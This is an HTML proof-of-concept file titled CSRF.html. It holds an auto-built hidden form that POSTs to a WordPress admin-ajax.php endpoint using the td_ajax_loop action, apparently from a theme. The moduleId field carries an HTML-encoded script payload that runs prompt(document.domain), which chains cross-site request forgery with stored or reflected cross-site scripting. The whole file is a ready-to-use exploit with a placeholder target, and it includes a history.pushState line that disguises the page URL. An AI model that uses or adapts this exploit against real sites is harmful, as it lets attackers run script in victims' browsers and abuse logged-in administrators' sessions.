CSRF.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="target.com/wp-admin//admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="td&#95;ajax&#95;loop" />
      <input type="hidden" name="loopState&#91;sidebarPosition&#93;" value="" />
      <input type="hidden" name="loopState&#91;moduleId&#93;" value="&lt;svg&gt;&lt;script&gt;prompt&amp;&#35;40&#59;document&#46;domain&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="loopState&#91;currentPage&#93;" value="2" />
      <input type="hidden" name="loopState&#91;max&#95;num&#95;pages&#93;" value="4" />
      <input type="hidden" name="loopState&#91;atts&#93;&#91;category&#95;id&#93;" value="479" />
      <input type="hidden" name="loopState&#91;atts&#93;&#91;offset&#93;" value="2" />
      <input type="hidden" name="loopState&#91;ajax&#95;pagination&#95;infinite&#95;stop&#93;" value="3" />
      <input type="hidden" name="loopState&#91;server&#95;reply&#95;html&#95;data&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>